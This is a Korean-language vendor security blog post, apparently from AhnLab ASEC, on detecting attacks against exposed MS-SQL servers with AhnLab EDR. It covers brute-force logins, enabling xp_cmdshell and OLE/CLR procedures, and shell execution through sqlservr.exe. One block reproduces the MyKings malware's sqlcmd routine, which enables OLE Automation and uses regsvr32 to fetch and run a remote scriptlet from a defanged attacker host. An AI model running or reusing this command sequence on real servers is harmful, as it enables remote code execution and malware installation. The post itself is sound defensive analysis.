AhnLab EDR을 활용한 MS-SQL 서버 대상 공격 탐지

AhnLab EDR을 활용한 MS-SQL 서버 대상 공격 탐지

외부 인터넷에 공개되어 있으면서 단순한 형태의 암호를 사용하고 있는 MS-SQL 서버는 윈도우 시스템을 대상으로 하는 대표적인 공격 벡터 중 하나이다. 공격자들은 부적절하게 관리되고 있는 MS-SQL 서버를 찾아 스캐닝 한 후 무차별 대입 공격이나 사전 공격을 통해 관리자 권한으로 로그인할 수 있다. 여기까지의 과정이 끝나면 공격자들은 다양한 방식을 통해 악성코드를 설치하여 감염 시스템에 대한 제어를 획득할 수 있다.

AhnLab SEcurity intelligence Center(ASEC)에서는 이렇게 부적절하게 관리되고 있는 MS-SQL 서버를 대상으로 하는 공격을 모니터링하고 있으며 새롭게 확인된 공격 사례들을 블로그를 통해 공개하고 있다. 예를 들어 최근에는 TargetCompany 공격자가 MS-SQL 서버를 통해 Mallox 랜섬웨어, Remcos RAT을 설치한 사례가 확인되었으며 [1] Trigona 랜섬웨어 [2], 코발트 스트라이크 [3], Proxyware 등 많은 공격자들이 MS-SQL 서버를 초기 침투 방식으로 사용하고 있다. 이렇게 랜섬웨어 공격자나 코인 마이너 공격자들 외에 국가의 지원을 받는 것으로 알려진 APT 그룹도 MS-SQL 서버를 공격하는 경우가 존재하는데 과거 Andariel 그룹이 NukeSped 백도어를 설치할 때 이를 사용한 사례가 함께 확인되기도 하였다. [4]

AhnLab EDR (Endpoint Detection and Response)은 국내 유일의 행위 기반 분석 엔진을 기반으로 엔드포인트 영역에 대해 강력한 위협 모니터링과 분석, 대응 역량을 제공하는 차세대 엔드포인트 위협 탐지 및 대응 솔루션이다. AhnLab EDR은 의심스러운 행위에 관한 유형별 정보를 상시 수집해 탐지 및 분석, 대응 관점에서 사용자가 위협을 정확하게 인식할 수 있는 기능을 제공하며 이를 통해 종합적인 분석을 통해 원인 파악과 적절한 대응, 재발 방지 프로세스를 수립할 수 있다.

여기에서는 초기 침투 방식들 중 MS-SQL 서버를 대상으로 한 공격에서 관리자가 이를 사전에 인지하고 원인 파악과 적절한 대응을 진행할 수 있도록 AhnLab EDR을 활용해 탐지할 수 있는 사례들을 다룬다.

1. 무차별 대입 공격 / 사전 공격

일반적으로 공격자나 악성코드들은 MS-SQL 서비스가 설치된 환경 즉 1433번 포트가 오픈된 서버를 스캐닝 하여 찾는다. 스캐닝 과정 이후에는 확인된 MS-SQL 서버에 무차별 대입 공격이나 사전 공격으로 로그인을 시도한다. 참고로 윈도우 OS 명령 실행을 가능하게 하는 대부분의 기능들은 sa (SQL Admin) 즉 관리자 계정을 필요로 한다.

공격자가 직접 스캐닝 및 사전 공격을 수행하는 대신 악성코드들이 자체적으로 부적절하게 관리되고 있는 MS-SQL 서버들을 대상으로 전파하는 경우도 존재한다. 대표적으로 LemonDuck 코인 마이너 악성코드가 있으며 [5] 다음은 LemonDuck이 사전 공격에 사용하는 sa 계정의 비밀번호 목록이다.

참고로 LemonDuck은 내부 전파 즉 측면 이동 과정에서 MS-SQL 서버를 대상으로 사전 공격을 사용하지만, Kingminer나 [6] Vollgar [7] 코인 마이너는 외부에 오픈된 MS-SQL 서버를 대상으로 무차별 대입 공격을 수행한다.

AhnLab EDR은 MS-SQL 서버에 sa (SQL Admin) 즉 관리자 계정으로 로그인하는 행위에 대해 다음과 같이 주요 행위로 탐지하여 관리자가 이를 사전에 인지할 수 있도록 도와준다.

또한 무차별 대입 공격이나 사전 공격을 통해 다수의 로그인 실패 이벤트가 발생할 경우 관리자가 원인 파악과 적절한 대응을 진행할 수 있도록 다음과 같이 주요 행위로 탐지한다.

2. 명령 실행 활성화

공격자 또는 악성코드는 sa 계정이나 sa 계정의 권한을 획득한 이후에는 악의적인 명령을 실행하거나 실질적인 악성코드를 설치하여 감염 시스템에 대한 제어를 획득할 것이다. 참고로 sa 계정 권한을 가지고 있다고 하더라도 MS-SQL 데이터베이스 서버에 대한 제어를 획득했을 뿐 윈도우 운영체제 자체에 대한 제어를 획득한 것은 아니다. 즉 SQL 명령을 실행할 수는 있지만 윈도우 운영체제에 영향을 미치는 행위를 기본적으로 제공하지 않는다.

하지만 MS-SQL은 윈도우 운영체제에서 OS 명령을 실행할 수 있게 하는 여러 기능들을 지원하며, 이를 악용할 경우 결국 OS 명령을 실행할 수 있다. 예를 들어 xp_cmdshell 명령은 인자로 전달받은 명령을 윈도우 쉘에서 실행시켜 주는 기능을 제공한다. xp_cmdshell 명령으로 실행된 윈도우 명령은 sqlservr.exe 프로세스에 의해 “cmd.exe /c” 명령을 통해 실행된다.

실제 악성코드들 중에서는 LemonDuck이 xp_cmdshell을 이용해 추가 악성코드를 다운로드한다. LemonDuck은 xp_cmdshell이 비활성화가 아닌 등록 해제되어 있을 경우를 대비해 재등록하는 과정도 추가되어 있다.

OLE 저장 프로시저를 이용하는 방식은 OLE의 기능을 악용하여 다른 애플리케이션 즉 악의적인 명령이나 악성코드를 실행시키는 방식이다. 이 또한 xp_cmdshell 명령처럼 비활성화되어 있기 때문에 활성화 작업이 필요하다.

다음은 MyKings [8] 코인 마이너 악성코드가 실제 공격에 사용하는 루틴을 재현한 것이다.

CMD > sqlcmd -S [IP 주소] -U sa -P [비밀번호]
1> sp_configure ‘show advanced options’, 1;
2> RECONFIGURE;
3> go
1> sp_configure ‘Ole Automation Procedures’,1;
2> RECONFIGURE;
3> go
1> DECLARE @shell INT
2> EXEC SP_OAcreate ‘{72C24DD5-D70A-438B-8A42-98424B88AFB8}’,@shell OUTPUT
3> EXEC SP_OAMETHOD @shell,’run’,null, ‘regsvr32 /u /s /i:hxxp://js.f4321y[.]com:280/v.sct scrobj.dll’;
4> go

MS-SQL 서버는 확장된 기능을 제공하기 위해 Extended Stored Procedure라고 하는 방식을 지원한다. 공격자는 악성 DLL을 제작하고 등록한 후 해당 DLL을 이용해 악성 행위를 수행할 수 있다. CLR Stored Procedure는 확장 저장 프로시저와 유사하지만 닷넷 DLL인 점이 다르다고 할 수 있다. 참고로 CLR Stored Procedure를 등록하고 사용하기 위해서는 xp_cmdshell 명령처럼 활성화 작업이 필요하다.

LemonDuck은 위에서 다루었다시피 xp_cmdshell을 이용하기도 하지만 CLR Stored Procedure도 함께 사용한다.

AhnLab EDR은 위의 행위 즉 MS-SQL 서버에서 OS 명령을 실행할 수 있도록 설정하는 행위들에 대해 다음과 같이 위협으로 탐지하여 관리자가 이를 사전에 인지할 수 있도록 도와준다.

3. MS-SQL을 이용한 명령 실행

공격자는 위와 같은 설정까지 활성화하면 침투한 시스템에서 명령을 실행할 수 있게 된다. 즉 xp_cmdshell 명령이나 OLE Stored Procedure를 이용해 직접 명령을 실행할 수 있으며 CLR Stored Procedure로 CLR SqlShell을 등록한 이후 SqlShell을 통해 명령을 실행할 수 있다. 이 경우 MS-SQL 서비스 즉 sqlservr.exe가 명령을 실행하는 주체가 된다.

AhnLab EDR은 MS-SQL 서비스가 의심스러운 프로세스를 실행하는 행위에 대해 다음과 같이 주요 행위로 탐지하여 관리자가 이를 사전에 인지할 수 있도록 도와준다.

4. 결론

부적절하게 관리되고 있는 MS-SQL 서버는 랜섬웨어, 코인 마이너 그리고 APT 그룹을 포함한 많은 공격자들의 주요 타겟이 되고 있다. 공격 대상이 되는 MS-SQL 서버의 경우 데이터베이스 서버로서 직접 구축한 형태 외에도 ERP 및 업무용 솔루션 설치 과정에서 함께 설치되는 경우도 다수 존재한다.

관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 데이터베이스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 공개되어 접근 가능한 데이터베이스 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다.

AhnLab EDR은 무차별 대입 공격 및 사전 공격과 같은 초기 침투 단계부터 OS 명령을 실행하도록 이를 활성화하는 기법들 그리고 최종적으로 MS-SQL 서비스를 통해 명령이 실행되는 행위를 위협 및 주요 행위로 탐지한다. 관리자는 이를 통해 원인 파악과 적절한 대응을 진행할 수 있으며 랜섬웨어 공격에 노출된 이후에도 공격 대상이 된 시스템에서 공격자의 증적 자료로서 침해 사고 조사에 필요한 데이터를 확인할 수 있다.

행위 진단
– InitialAccess/DETECT.BruteForce.M11704
– InitialAccess/DETECT.Event.M11702
– Execution/EDR.Event.M11704
– InitialAccess/DETECT.Event.M11453

AhnLab EDR의 행위 기반 탐지 및 대응 기능에 대해 더 알고 싶으시면, 아래 배너를 클릭하여 확인해 보세요.